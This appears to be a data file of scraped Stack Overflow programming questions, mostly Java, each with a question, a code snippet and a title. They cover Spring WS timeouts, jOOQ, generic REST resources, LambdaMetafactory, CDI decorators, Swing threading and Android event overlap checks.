HttpComponentsMessageSender return localTemplate ; } public HttpComponentsMessageSender httpComponentsMessageSender ( ) throws Exception { HttpComponentsMessageSender httpComponentsMessageSender = new HttpComponentsMessageSender ( ) ; httpComponentsMessageSender.setHttpClient ( httpClient ( ) ) ; httpComponentsMessageSender.setConnectionTimeout ( 30 * 1000 ) ; httpComponentsMessageSender.setReadTimeout ( 30 * 1000 ) ; return httpComponentsMessageSender ; } public HttpClient httpClient ( ) throws Exception { return HttpClientBuilder.create ( ) .setSSLSocketFactory ( sslConnectionSocketFactory ( ) ) .addInterceptorFirst ( new RemoveSoapHeadersInterceptor ( ) ) .build ( ) ; } public SSLConnectionSocketFactory sslConnectionSocketFactory ( ) throws Exception { // NoopHostnameVerifier essentially turns hostname verification off as otherwise following error // is thrown : java.security.cert.CertificateException : No name matching localhost found return new SSLConnectionSocketFactory ( sslContext ( ) /* , NoopHostnameVerifier.INSTANCE */ ) ; } public SSLContext sslContext ( ) throws Exception { return SSLContextBuilder.create ( ) .loadTrustMaterial ( MyTrustStore , MyPasswd.toCharArray ( ) ) .build ( ) ; } SEVERE : nulljava.lang.UnsupportedOperationException at org.apache.http.impl.client.InternalHttpClient.getParams ( InternalHttpClient.java:211 ) at org.springframework.ws.transport.http.HttpComponentsMessageSender.setConnectionTimeout ( HttpComponentsMessageSender.java:137 ) at cl.newit.wstgr.main.WStgr.httpComponentsMessageSender ( WStgr.java:308 ) at cl.newit.wstgr.main.WStgr.makeTemplate ( WStgr.java:192 ) at cl.newit.wstgr.main.WStgr.genericSend ( WStgr.java:165 ) at cl.newit.wstgr.main.WStgr.sendM1 ( WStgr.java:84 ) at cl.newit.wstgr.main.tester.TestM1 ( tester.java:236 ) at cl.newit.wstgr.main.tester.main ( tester.java:67 ) // httpComponentsMessageSender.setConnectionTimeout ( 30 * 1000 ) ; // httpComponentsMessageSender.setReadTimeout ( 30 * 1000 ) ;",java.lang.UnsupportedOperationException when set connection timeout to HttpComponentsMessageSender +Java,I would like to launch simple code : But infortunately in getSQL ( ) I can only see : Where is a mistake ? Thanks .,"SelectQuery query = dsl.select ( field ( `` id '' ) , field ( `` title '' ) ) .from ( `` dict.models '' ) .getQuery ( ) ; if ( modelId > 0 ) query.addConditions ( field ( `` model_id '' , SQLDataType.INTEGER ) .equal ( modelId ) ) ; select id , title from dict.models where model_id = ?",jOOQ addConditions : in SQL question mark appears instead of the value +Java,"I 'm building a REST API for performing CRUD operations on a database . My tentative stack is Jersey , Spring , Spring Data , JPA and Hibernate . I 'm also using jersey-spring to supply instances of the resource class so Spring can autowire them.The API will support CRUD operations on dozens of tables , with concomitant JPA Entities and DAOs backed by Spring Data repositories . The family of DAO interfaces and related DTOs looks something like this : Here 's a simplified version of a JAX-RS resource class : The problem is that remainder of the dozens of resource classes look almost identical , the only difference being they operate on a different PersistedObject subclass and its corresponding DAO . I 'd like to stay DRY by having one resource class that can support the CRUD operations on all entity types , presumably via polymoprhism and clever injection of the DAO . It might look something like this : The issues I need to solve : If resource methods accept and return PersistedObject , how will Jersey/Jackson know how to serialize/deserialize ? The resourceType variable in the path parameter indicates the concrete type the user is requesting , but I do n't know how to wield this to any advantage.When Spring supplies the resource class instance , how will it know which DAO to inject ? Overall , I 'm not sure that I 'm on the right path . Is it possible to implement this in a generic way ?",public interface CrudService < T extends PersistedObject > { /* ... */ } public interface PersonService extends CrudService < Person > { /* ... */ } public class PersistedObject { /* ... */ } public class Person extends PersistedObject { /* ... */ } @ Component @ Path ( `` /people '' ) public class PersonResource { @ Autowired private PersonService personService ; @ Path ( `` / { id } '' ) @ GET @ Produces ( MediaType.APPLICATION_JSON ) public Person get ( @ PathParam ( `` id '' ) String id ) { return personService.findOne ( Long.valueOf ( id ) ) ; } @ POST @ Consumes ( MediaType.APPLICATION_JSON ) public Response post ( Person person ) { personService.save ( person ) ; return Response.created ( ) .build ( ) ; } } @ Component @ Path ( `` / { resourceType } '' ) public class CrudResource { @ Autowired private CrudService crudService ; @ Path ( `` / { id } '' ) @ GET @ Produces ( MediaType.APPLICATION_JSON ) public PersistedObject get ( @ PathParam ( `` id '' ) String id ) { return crudService.findOne ( Long.valueOf ( id ) ) ; } @ POST @ Consumes ( MediaType.APPLICATION_JSON ) public Response post ( PersistedObject entity ) { crudService.save ( entity ) ; return Response.created ( ) .build ( ) ; } },How can I implement this REST API and stay DRY ? +Java,"I am looking to write a method in Java which finds a derivative for a continuous function . These are some assumptions which have been made for the method -The function is continuous from x = 0 to x = infinity.The derivative exists at every interval.A step size needs to be defined as a parameter.The method will find the max/min for the continuous function over a given interval [ a : b ] .As an example , the function cos ( x ) can be shown to have maximum or minimums at 0 , pi , 2pi , 3pi , ... npi . I am looking to write a method that will find all of these maximums or minimums provided a function , lowerBound , upperBound , and step size are given.To simplify my test code , I wrote a program for cos ( x ) . The function I am using is very similar to cos ( x ) ( at least graphically ) . Here is some Test code that I wrote -The method for finding roots is used for finding zeroes ( this definitely works ) . I only included it inside my test program because I thought that I could somehow use similar logic inside the method which finds derivatives.The method for could definitely be improved . How could I write this differently ? Here is sample output .","public class Test { public static void main ( String [ ] args ) { Function cos = new Function ( ) { public double f ( double x ) { return Math.cos ( x ) ; } } ; findDerivative ( cos , 1 , 100 , 0.01 ) ; } // Needed as a reference for the interpolation function . public static interface Function { public double f ( double x ) ; } private static int sign ( double x ) { if ( x < 0.0 ) return -1 ; else if ( x > 0.0 ) return 1 ; else return 0 ; } // Finds the roots of the specified function passed in with a lower bound , // upper bound , and step size . public static void findRoots ( Function f , double lowerBound , double upperBound , double step ) { double x = lowerBound , next_x = x ; double y = f.f ( x ) , next_y = y ; int s = sign ( y ) , next_s = s ; for ( x = lowerBound ; x < = upperBound ; x += step ) { s = sign ( y = f.f ( x ) ) ; if ( s == 0 ) { System.out.println ( x ) ; } else if ( s ! = next_s ) { double dx = x - next_x ; double dy = y - next_y ; double cx = x - dx * ( y / dy ) ; System.out.println ( cx ) ; } next_x = x ; next_y = y ; next_s = s ; } } public static void findDerivative ( Function f , double lowerBound , double upperBound , double step ) { double x = lowerBound , next_x = x ; double dy = ( f.f ( x+step ) - f.f ( x ) ) / step ; for ( x = lowerBound ; x < = upperBound ; x += step ) { double dx = x - next_x ; dy = ( f.f ( x+step ) - f.f ( x ) ) / step ; if ( dy < 0.01 & & dy > -0.01 ) { System.out.println ( `` The x value is `` + x + `` . The value of the `` + `` derivative is `` + dy ) ; } next_x = x ; } } } public static void findDerivative ( Function f , double lowerBound , double upperBound , double step ) { double x = lowerBound , next_x = x ; double dy = ( f.f ( x+step ) - f.f ( x ) ) / step ; for ( x = lowerBound ; x < = upperBound ; x += step ) { double dx = x - next_x ; dy = ( f.f ( x+step ) - f.f ( x ) ) / step ; if ( dy < 0.01 & & dy > -0.01 ) { System.out.println ( `` The x value is `` + x + `` . The value of the `` + `` derivative is `` + dy ) ; } next_x = x ; } } The x value is 3.129999999999977 . The value of the derivative is -0.006592578364594814The x value is 3.1399999999999766 . The value of the derivative is 0.0034073256197308943The x value is 6.26999999999991 . The value of the derivative is 0.008185181673381337The x value is 6.27999999999991 . The value of the derivative is -0.0018146842631128202The x value is 9.409999999999844 . The value of the derivative is -0.009777764220086915The x value is 9.419999999999844 . The value of the derivative is 2.2203830347677922E-4The x value is 12.559999999999777 . The value of the derivative is 0.0013706082193754021The x value is 12.569999999999776 . The value of the derivative is -0.00862924258597797The x value is 15.69999999999971 . The value of the derivative is -0.002963251265619693The x value is 15.70999999999971 . The value of the derivative is 0.007036644660118885The x value is 18.840000000000146 . The value of the derivative is 0.004555886794943564The x value is 18.850000000000147 . The value of the derivative is -0.005444028885981389The x value is 21.980000000000636 . The value of the derivative is -0.006148510767989279The x value is 21.990000000000638 . The value of the derivative is 0.0038513993028788107The x value is 25.120000000001127 . The value of the derivative is 0.0077411191450771355The x value is 25.13000000000113 . The value of the derivative is -0.0022587599505241585",Approximate a derivative for a continuous function throughout certain step intervals +Java,"I 'd like to listen on a websocket using akka streams . That is , I 'd like to treat it as nothing but a Source.However , all official examples treat the websocket connection as a Flow.My current approach is using the websocketClientFlow in combination with a Source.maybe . This eventually results in the upstream failing due to a TcpIdleTimeoutException , when there are no new Messages being sent down the stream.Therefore , my question is twofold : Is there a way – which I obviously missed – to treat a websocket as just a Source ? If using the Flow is the only option , how does one handle the TcpIdleTimeoutException properly ? The exception can not be handled by providing a stream supervision strategy . Restarting the source by using a RestartSource does n't help either , because the source is not the problem.UpdateSo I tried two different approaches , setting the idle timeout to 1 second for convenienceapplication.confUsing keepAlive ( as suggested by Stefano ) When doing this , the Upstream still fails with a TcpIdleTimeoutException.Using RestartFlowHowever , I found out about this approach , using a RestartFlow : This works in that I can treat the websocket as a Source ( although artifically , as explained by Stefano ) and keep the tcp connection alive by restarting the websocketClientFlow whenever an Exception occurs.This does n't feel like the optimal solution though .","akka.http.client.idle-timeout = 1s Source. < Message > maybe ( ) .keepAlive ( Duration.apply ( 1 , `` second '' ) , ( ) - > ( Message ) TextMessage.create ( `` keepalive '' ) ) .viaMat ( Http.get ( system ) .webSocketClientFlow ( WebSocketRequest.create ( websocketUri ) ) , Keep.right ( ) ) { ... } final Flow < Message , Message , NotUsed > restartWebsocketFlow = RestartFlow.withBackoff ( Duration.apply ( 3 , TimeUnit.SECONDS ) , Duration.apply ( 30 , TimeUnit.SECONDS ) , 0.2 , ( ) - > createWebsocketFlow ( system , websocketUri ) ) ; Source. < Message > maybe ( ) .viaMat ( restartWebsocketFlow , Keep.right ( ) ) // One can treat this part of the resulting graph as a ` Source < Message , NotUsed > ` { ... } ( ... ) private Flow < Message , Message , CompletionStage < WebSocketUpgradeResponse > > createWebsocketFlow ( final ActorSystem system , final String websocketUri ) { return Http.get ( system ) .webSocketClientFlow ( WebSocketRequest.create ( websocketUri ) ) ; }",Http Websocket as Akka Stream Source +Java,"In the following code I have an error `` possible loss of precisionfound : intrequired : short '' .I understand what the error means but I 'm just wondering why I 'm getting it . Surely the function should return a type of short ( I ca n't see how there could be any loss of precision , the code should return a 16 bit integer ) . Can anyone clear up for me why the following code seems to require the type int ? Thanks !","static short a ( ) { short [ ] payload = { 100 , 200 , 300 , 400 , 500 , 600 , 700 , 800 , 900 , 1000 } ; short offset = 2 ; return ( payload [ offset - 2 ] < < 8 & 0xff00 ) + ( payload [ offset - 1 ] & 0xff ) ; }",Incompatible types error Java between short and int . Unsure of cause +Java,"I get an exception when I call metafactory . It says : I do not understand all from the documentation of LambdaMetafactory.metafactory . I have problems figuring out the correct parameters : MethodHandles.Lookup caller -- thats easyString invokedName -- I am fairly certain hereMethodType invokedType -- whats this ? MethodType samMethodType -- err ... not sure hereMethodHandle implMethod -- that 's fineMethodType instantiatedMethodType -- whats this , again ? Second time ? So it boils down to what are the differences between : MethodType invokedTypeMethodType samMethodTypeMethodType instantiatedMethodTypeMy code is like this : with the tests","java.lang.invoke.LambdaConversionException : Incorrect number of parameters for instance method invokeVirtual my.ExecuteTest $ AProcess.step_1 : ( ) Boolean ; 0 captured parameters , 0 functional interface method parameters , 0 implementation parameters package my ; import java.lang.invoke . * ; import java.lang.reflect.Method ; public class Execute { public interface ProcessBase { } ; @ FunctionalInterface public interface Step { Boolean apply ( ) ; } public Step getMethodFromStepid ( ProcessBase process , int stepid ) { try { // standard reflection stuff final MethodHandle unreflect = caller.unreflect ( method ) ; final String mname = `` step_ '' +stepid ; // new java8 method reference stuff final Method method = process.getClass ( ) .getMethod ( mname ) ; final MethodType type=MethodType.methodType ( Boolean.class ) ; final MethodType stepType=MethodType.methodType ( Step.class ) ; final MethodHandles.Lookup caller = MethodHandles.lookup ( ) ; final CallSite site = LambdaMetafactory.metafactory ( caller , `` apply '' , stepType , type , unreflect , type ) ; // damn // convert site to my method reference final MethodHandle factory = site.getTarget ( ) ; final Step step = ( Step ) factory.invoke ( ) ; return step ; } catch ( Throwable throwable ) { throw new RuntimeException ( throwable ) ; } } } package my ; import org.junit.Test ; import static org.junit.Assert . * ; public class ExecuteTest { private class AProcess implements Execute.ProcessBase { public Boolean step_1 ( ) { return true ; } public Boolean step_2 ( ) { return false ; } } @ Test public void getMethodFromStepid ( ) throws Exception { final AProcess process = new AProcess ( ) ; { final Execute.Step methodRef = instance.getMethodFromStepid ( process , 1 ) ; final boolean result = methodRef.apply ( ) ; assertTrue ( result ) ; } { final Execute.Step methodRef = instance.getMethodFromStepid ( process , 2 ) ; final boolean result = methodRef.apply ( ) ; assertFalse ( result ) ; } } private final Execute instance = new Execute ( ) ; }",Types in a LambdaMetaFactory +Java,"I have the following structure : This is the EntityService interface declaration : Unfortunately , the decorator save method never get called when it should , although no errors are shown ... The only way I got it working was like this : Without the Q extends QueryParams generic param.The MyDecorator is declared inside beans.xml.Any clues ?","@ Decoratorpublic abstract class MyDecorator < T extends BaseEntity , Q extends QueryParams > implements EntityService < T , Q > { @ Any @ Inject @ Delegate EntityService < T , Q > delegate ; @ Override public T save ( T entity ) { ... } } public interface EntityService < T extends BaseEntity , Q extends QueryParams > { T save ( T entity ) ; void deleteById ( Integer id ) ; void deleteAllById ( List < Integer > ids ) ; void delete ( T entity ) ; void deleteAll ( List < T > entities ) ; T findById ( Integer id ) ; QueryResultWrapper < T > query ( Q parameters ) ; Long count ( Q parameters ) ; } @ Decoratorpublic abstract class MyDecorator < T extends BaseEntity > implements EntityService < T > { ... } < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < beans xmlns= '' http : //xmlns.jcp.org/xml/ns/javaee '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //xmlns.jcp.org/xml/ns/javaee http : //xmlns.jcp.org/xml/ns/javaee/beans_1_1.xsd '' bean-discovery-mode= '' all '' version= '' 1.1 '' > < decorators > < class > fortuna.backend.comum.decorators.MyDecorator < /class > < /decorators > < /beans >",Java CDI : Decorator with multiple generic params +Java,"I 'm writing a new app , using Guice for dependency injection , and Guava 's Preconditions for attribute validation.I 'm using the factory pattern to create beans based on external input . The question is , what would be the preferred way to validate the input ? ( In terms of maintainability , clarity , etc . ) Let 's assume these classes : Bean.javaBeanImpl.javaI want to check that `` param '' holds a valid value for `` foo '' : Where should I do that and why ? In BeanImpl 's constructor ? ( I 'm unsure why but adding checks in the constructor feels like a bad idea . ) Before calling BeanFactory.create ( param ) ? ( Sounds like terrible code duplication . ) Through some Guice mechanism I am unaware of ?","public interface Bean { public Object getFoo ( ) ; } public class BeanImpl implements Bean { private final Object foo ; public BeanImpl ( Object param ) { foo = param ; } @ Override public String getFoo ( ) { return foo ; } } Preconditions.checkArgument ( SomeValidator.isValid ( param ) , `` Bad param : % s ! `` , param ) ;",Factory pattern : Validating input when creating a bean ( Guice/Guava ) +Java,"Consider the following Java code : Are these comparisons equal -- particularly in the possibility of foo being null ? Do they expand to foo.getValue ( ) == 5 and 5 == foo.getValue ( ) , or to something more akin to foo.equals ( new Integer ( 5 ) ) and new Integer ( 5 ) .equals ( foo ) , or to something else ? May one or the other or both or none throw an NPE ?",Integer foo = bar ( ) ; if ( foo == 5 ) ... ; if ( 5 == foo ) ... ;,Is Java 's equality operator commutative ? +Java,"Check out this snippet : How come c == m gives no error ? I am using the javac of jdk1.8.0.20 and I have no reason to suspect that it disregards the java language specification , so this is with a fairly absolute level of certainty in the spec , so : What is the point / purpose / usefulness of having something like this allowed by the spec ?","List < Integer > c = new ArrayList < > ( ) ; Map < String , Boolean > m = new HashMap < > ( ) ; if ( c == m ) //no error here ! WHY ? { c = m ; // '' Incompatible types '' error , as expected . m = c ; // '' Incompatible types '' error , as expected . }",Why is it possible to compare incompatible types by reference in Java ? +Java,"I have a rule definition like this : Given the input `` 168:321-331 '' , I thought it would match the reference rule . But in reality , the whole string is tokenized as a FREE_TEXT_WORD . How can I make the INTEGER token take preference over FREE_TEXT_WORD in this case ? Thanks .",reference : volume ' : 'first_page'-'last_page ; volume : INTEGER ; first_page : INTEGER ; last_page : INTEGER ; INTEGER : [ 0-9 ] + ; FREE_TEXT_WORD : NON_SPACE+ ; fragment NON_SPACE : ~ [ \r\n\t ] ;,Antlr token priority +Java,"Say if I have the code below , it 's bascially determining some condition is matched and then assign the boolean value , then run some codes . Then throw an exception if the booleanValue is false . What if I want it to throw an exception immediately if the booleanValue is false without running the rest of the codes ? If I just put the second conditional statement into the first one there will be duplicated codes . Please show me a smart way to do this ( I 've modified the code to be looked like my actual codes ) .",boolean booleanValue = false ; Permission value ; if ( someCondition ) { value = getPermission_1 ( ) ; booleanValue = someMethod ( value ) ; useValue_1 ( value ) ; } else { value = getPermission_2 ( ) ; booleanValue = anotherMethod ( value ) ; useValue_2 ( value ) ; } if ( ! booleanValue ) { throw Exception ( ) ; },Rewriting a conditional statement in Java +Java,"So , I have rather esoteric question . I 'm trying to create a somewhat generic , but typed property collection system . It 's reliant on a core assumption that seems to be erroneous . The code illustrates the issue : After compiling and running the output isIn the static method `` get '' , I 'm attempting to cast to the generic parameter type T. The underlying member ( mObj ) is of String type . In the first invocation , the Generic parameter is of compatible type , so the app prints the string appropriately . In the second invocation , the Generic parameter is of type Integer . Thus , the cast in the get method should fail . And I would hope it would throw a ClassCastException ( printing the statement `` This will *not* be printed '' . ) But this is n't what happens.Instead , the casting exception is thrown after the get method returns when the returned value is attempted to be assigned to the variable `` i '' . Here 's the question : What is the explanation for this delayed casting error ? ** EDIT **For the sake of fun and completeness , I added a non-generic getInt method to illustrate the response I was hoping to get . Amazing what happens when the compiler knows type .",import java.lang.Integer ; public class Test { private static Object mObj = new String ( `` This should print '' ) ; public static void main ( String [ ] args ) { String s = Test. < String > get ( ) ; System.out.println ( s ) ; try { // actual ClassCastException reported HERE int i = Test. < Integer > get ( ) ; } catch ( ClassCastException e ) { System.out.println ( `` Why is n't the exception caught earlier ? `` ) ; } int i2 = getInt ( ) ; } public static < T > T get ( ) { T thing = null ; try { // Expected ClassCastException here thing = ( T ) mObj ; } catch ( ClassCastException e ) { System.out.println ( `` This will *not* be printed '' ) ; } return thing ; } // This added in the edit public static Integer getInt ( ) { return ( Integer ) mObj ; } } This should printWhy is n't the exception caught earlier ?,A bad casting to Generics parameter type does not throw ClassCastException in Java +Java,After some experimenting I parented an empty ( HeadCam ) to the character 's neck.This snippet allow rotation of the head synchronously to the CardboardHead/Camera . The character 's arms should n't move when only the head rotates as long in the range -60° to 60° after that I would like to move the whole character with the arms still visible . The following method works as long the character is n't rotated by more than 180° after that the characters flips by 180° how could I achieve constant rotation ? A java applet for testing the algorithm standalone : https : //github.com/3dbug/blender/blob/master/HeadCamRot.java,"void LateUpdate ( ) { neckBone.transform.rotation = Camera.transform.rotation * Quaternion.Euler ( 0,0 , -90 ) ; Camera.transform.position = HeadCam.transform.position ; } void LateUpdate ( ) { Quaternion camRot = Camera.transform.rotation * Quaternion.Euler ( 0,0 , -90 ) ; neckBone.transform.rotation = camRot ; float yrot = camRot.eulerAngles.y ; float ydelta = 0 ; if ( yrot < 300f & & yrot > 180 ) { ydelta = yrot - 300f ; } if ( yrot > 60f & & yrot < 180 ) { ydelta = yrot - 60 ; } playerObj.transform.rotation = Quaternion.Euler ( 0 , ydelta , 0 ) ; Camera.transform.position = HeadCam.transform.position ; }",How can character 's body be continuously rotated when its head is already turned by 60° ` ? +Java,If I declare just the 2 varargs methods as follows : andand then have the code : this is a compiler error due to the ambiguity as expected.However if I have just the following 2 versions of foo : andthen the code calls the ints version of the method . Can anyone explain why the second example is n't similarly ambiguous and why it resolves to the int method over the Object method . Thanks .,public void foo ( String ... strings ) { System.out.println ( `` Foo with Strings '' ) ; } public void foo ( int ... ints ) { System.out.println ( `` Foo with ints '' ) ; } foo ( ) ; public void foo ( Object ... objects ) { System.out.println ( `` Foo with Objects '' ) ; } public void foo ( int ... ints ) { System.out.println ( `` Foo with ints '' ) ; } foo ( ) ;,"In Java , why is the call foo ( ) not ambigious given 2 varags methods foo ( int ... ints ) and foo ( Object ... objects ) ?" +Java,"Let 's say we have the following class structure in Scala.We can easily construct Bar in Java with new Foo.Bar ( ) . But everything changes when we add an extra level of nested classes.Somehow , it 's no longer possible to construct the most inner class Baz in Java . Looking at the javap output , I ca n't see any significant difference between first ( 2 levels ) and second cases ( 3 levels ) . Generated code looks pretty reasonable to me.2 levels:3 levelsWith that said , what 's the difference between 2-level vs. 3-level nested Scala classes when they accessed from Java ?",object Foo { class Bar } object Foo { object Bar { class Baz } } public class Foo $ Bar { ... } public class Foo $ Bar $ Baz { ... },Accessing Scala nested classes from Java +Java,"This is the smallest runnable SSCCE , of my project , that I could implement to show you.I 've read that calling the game logic from the Event Dispacth Thread is a bad practice , how can I separate them , because as you can see update ( ) and repaint ( ) are related into loopand how can I separate code in a pretty way , I 'm getting in trouble with this , trying to find out how to do it.I 've posted a similar question regarding and I got an answer , that says to use a Swing Timer , but i have huge task to make and as i read Swing timer is n't ideal for this scenario.This is the question : Event Dispatch Thread divided from logic thread , prevent blocking UIMain classMyPanel Class","import javax.swing.JFrame ; import javax.swing.SwingUtilities ; import javax.swing.UIManager ; public class Main { private static final Main mainFrame = new Main ( ) ; private final JFrame frame ; private Main ( ) { frame = new JFrame ( ) ; frame.setUndecorated ( true ) ; frame.add ( new MyPanel ( ) ) ; frame.pack ( ) ; frame.setLocationRelativeTo ( null ) ; frame.setVisible ( true ) ; } public static Main getMainFrameInstance ( ) { return mainFrame ; } public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { public void run ( ) { Main.getMainFrameInstance ( ) ; } } ) ; } } import java.awt.Dimension ; import java.awt.Graphics ; import java.awt.Graphics2D ; import java.awt.RenderingHints ; import java.awt.image.BufferedImage ; import javax.swing.JPanel ; public class MyPanel extends JPanel implements Runnable , KeyListener , MouseListeners { private static final long serialVersionUID = 1L ; // thread and loop private Thread thread ; private boolean running ; private int FPS = 60 ; private long targetTime = 1000 / FPS ; private long start ; private long elapsed ; private long wait ; // image public BufferedImage image ; // foo private Foo foo ; private Render render = Render.getRenderManagerInstance ( ) ; public MyPanel ( ) { setPreferredSize ( new Dimension ( 700 , 700 ) ) ; setFocusable ( true ) ; requestFocus ( ) ; } public void addNotify ( ) { super.addNotify ( ) ; if ( thread == null ) { addKeyListeners ( this ) ; addMouseListener ( this ) ; thread = new Thread ( this ) ; thread.start ( ) ; } } private void initGraphic ( ) { image = new BufferedImage ( 700 , 700 , BufferedImage.TYPE_INT_RGB ) ; foo = new Foo ( ) ; running = true ; } public void run ( ) { initGraphic ( ) ; // loop while ( running ) { start = System.nanoTime ( ) ; foo.update ( ) ; repaint ( ) ; elapsed = System.nanoTime ( ) - start ; wait = ( targetTime - elapsed / 1000000 ) - 8 ; if ( wait < = 0 ) wait = 6 ; try { Thread.sleep ( wait ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } } public void paintComponent ( Graphics graphics ) { super.paintComponent ( graphics ) ; graphics = image.getGraphics ( ) ; ( ( Graphics2D ) graphics ) .setRenderingHint ( RenderingHints.KEY_ANTIALIASING , RenderingHints.VALUE_ANTIALIAS_ON ) ; ( ( Graphics2D ) graphics ) .setRenderingHint ( RenderingHints.KEY_TEXT_ANTIALIASING , RenderingHints.VALUE_TEXT_ANTIALIAS_ON ) ; render.setRenderState ( ( Graphics2D ) graphics ) ; graphic.drawImage ( image , 0 , 0 , this ) ; // clear graphics resources after use them graphic2D.dispose ( ) ; } public void keyPressed ( KeyEvent keyEvent ) { //code not considerable } public void keyReleased ( KeyEvent keyEvent ) { //code not considerable } public void mousePressed ( MouseEvent mouseEvent ) { //code not considerable } public void mouseReleased ( MouseEvent mouseEvent ) { //code not considerable } }",Separate Logic Thread From Event Dispatch Thread +Java,"Can I require classes implementing an interface to have a certain static field or method and access/invoke that field or method through a generic type argument ? I have an interface , Arithmetical < T > , which specifies several functions like T plus ( T o ) and T times ( T o ) . I have as well a Vector < N extends Arithmetical < N > > class , which is intended for vectors ( of variable dimension ) with components of type N. I ran into an issue , however , when trying to implement the dot product.I want to implement the method N dot ( Vector < N > o ) . For this , I plan to start with whatever N 's zero is and iterate through both Vector < N > s ' List < N > s , adding the product of each pair of elements to my total . Is there a way to specify in Arithmetical < T > that all implementing classes must have a static ( and preferably final ) field ZERO and start dot ( Vector < N > o ) 's body with something along the lines of N sum = N.ZERO ; ? If not , what other approaches might there be to this problem ? I want to allow 0-dimensional vectors , so I ca n't just begin by multiplying the vectors ' first components . Is there a way to instantiate an object of a generic type , so I can merely specify a T zero ( ) method in Arithmetical < T > ? I have a reason for not using Java 's numerical types—I want to have vectors with complex components.Here 's Arithmetical : Vector : And Complex : I 'm quite new to Java ( and programming in general ) ; I will likely not understand complex ( ha ) explanations and workarounds.Thanks ! ( Python is a suggested tag ... Huh . )","public interface Arithmetical < T > { public T plus ( T o ) ; public T minus ( T o ) ; public T negate ( ) ; public T times ( T o ) ; public T over ( T o ) ; public T inverse ( ) ; // Can I put a line here that requires class Complex ( below ) to define ZERO ? } public class Vector < N extends Arithmetical < N > > { private List < N > components ; public Vector < N > ( List < N > cs ) { this.components = new ArrayList < N > ( cs ) ; } public N dot ( Vector < N > o ) { // Here 's where I need help . } } public class Complex implements Arithmetical < Complex > { public static final Complex ZERO = new Complex ( 0 , 0 ) ; // Can I access this value through N if < N extends Arithmetical < N > > ? private double real ; private double imag ; public Complex ( double r , double i ) { this.real = r ; this.imag = i ; } /* Implementation of Arithmetical < Complex > ( and some more stuff ) not shown ... */ }",Access static field of generic type +Java,I was reading about the new features in Java 8 and one of them was the new Arrays.parallelSort ( ) method . I made some tests sorting an array of doubles and one of Strings and for Strings the parallelSort was much slower.Here is the content of a test method for Strings : The result was : Arrays.sort : totalTimeInMicro= 11993Arrays.parallelSort : totalTimeInMicro= 89823I also tried this code on another computer and the result was the same ( 25608 vs 808660 ) . The computer I run the tests has an i5-2500 CPU . Do you have any idea why I get this kind of results ?,"final int size = 10000 ; final String [ ] values1 = new String [ size ] ; final String [ ] values2 = new String [ size ] ; for ( int i = 0 ; i < size ; i++ ) { values1 [ i ] = Integer.toString ( i ) ; values2 [ i ] = values1 [ i ] ; } Collections.shuffle ( Arrays.asList ( values1 ) ) ; Collections.shuffle ( Arrays.asList ( values2 ) ) ; final Comparator < String > comparator = ( o1 , o2 ) - > o2.compareTo ( o1 ) ; long startTimeInNano = System.nanoTime ( ) ; Arrays.sort ( values1 , comparator ) ; long endTimeInNano = System.nanoTime ( ) ; System.out.println ( `` Arrays.sort : totalTimeInMicro= `` + ( ( endTimeInNano - startTimeInNano ) /1000 ) ) ; //parallel sort with java 8 startTimeInNano = System.nanoTime ( ) ; Arrays.parallelSort ( values2 , comparator ) ; endTimeInNano = System.nanoTime ( ) ; System.out.println ( `` Arrays.parallelSort : totalTimeInMicro= `` + ( ( endTimeInNano - startTimeInNano ) /1000 ) ) ;",Parallel sort slower than serial sort +Java,"Java - Is it possible to extend all the subclasses of a class with a single class ? Let 's explain it with an example , the actual code is quite more complex . I have an Animal class with its own class hierarchy . Let 's say that it has two subclasses : Testarrosa and Viper.I want to extend all the Car subclasses with a RegisteredCar subclass.At some point , I should be able to create a new RegisteredCar of a specific subclass . Something like And call the c.getManufacturer ( ) to obtain `` Dodge '' and c.getPlateNumber ( ) to obtain B-3956-AC . Obviously , I should still be able to create a Car c = new Viper ( ) ; That is an example . Having an attribute in Car with null value if not registered is not enough for what I need .",public class Car { public abstract String getManufacturer ( ) ; } public class Testarossa extends Car { public String getManufacturer ( ) { return `` Ferrari '' ; } } public class Viper extends Car { public String getManufacturer ( ) { return `` Dodge '' ; } } public class RegisteredCar extends Car { private String plateNumber ; public RegisteredCar ( String plateNumber ) { this.plateNumber=plateNumber ; } public String getPlateNumber ( ) { return plateNumber ; } } RegisteredCar c = new RegisteredCar < Viper > ( `` B-3956-AC '' ) ;,Java - Is it possible to extend all the subclasses of a class with a single class ? +Java,I have a sqlite database in which I store all events . I store StartTime and EndTime against each events in date format . I have fragments for days with tabs and one activity which adds events . Events are shown in another fragments . Now I want to check if events do overlap with each other and based on which app should display a message . How to display message in added event activity when the user saves events . How can I do this ? I have tried this way but still events get added with same start time and end time : I get dates like this : I have created an EventTableHelper : I tried to use getAll events function in an activity to get data.Edit : Here 's my current code .,"ImageButton imageButton = ( ImageButton ) findViewById ( R.id.imgbtn_fab ) ; imageButton.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View v ) { eventTitle = title.getText ( ) .toString ( ) ; EventTableHelper db = new EventTableHelper ( getApplication ( ) ) ; List < EventData > events ; events = db.getAllEvents ( ) ; for ( EventData eventData : events ) { String datefrom = eventData.getFromDate ( ) ; String [ ] times = datefrom.substring ( 11 , 16 ) .split ( `` : '' ) ; minutesFrom = Integer.parseInt ( times [ 0 ] ) * 60 + Integer.parseInt ( times [ 1 ] ) ; String dateTo = eventData.getToDate ( ) ; //times = dateTo.substring ( 11,16 ) .split ( `` : '' ) ; String [ ] times1 = dateTo.substring ( 11 , 16 ) .split ( `` : '' ) ; minutesTo = Integer.parseInt ( times1 [ 0 ] ) * 60 + Integer.parseInt ( times1 [ 1 ] ) ; } if ( eventTitle.length ( ) == 0 ) { Toast.makeText ( getApplicationContext ( ) , `` Title can not be empty . `` , Toast.LENGTH_LONG ) .show ( ) ; } else if ( minutesFrom == minutesTo ) { Toast.makeText ( getApplicationContext ( ) , '' Event with same time exists . `` , Toast.LENGTH_LONG ) .show ( ) ; } else { db.addEvent ( new EventData ( eventTitle , startTime , endTime , dayOfWeek , location ) ) ; setResult ( RESULT_OK , i ) ; finish ( ) ; } } } ) ; c = Calendar.getInstance ( ) ; year = c.get ( Calendar.YEAR ) ; month = c.get ( Calendar.MONTH ) ; day = c.get ( Calendar.DAY_OF_MONTH ) ; hour = c.get ( Calendar.HOUR_OF_DAY ) ; minute 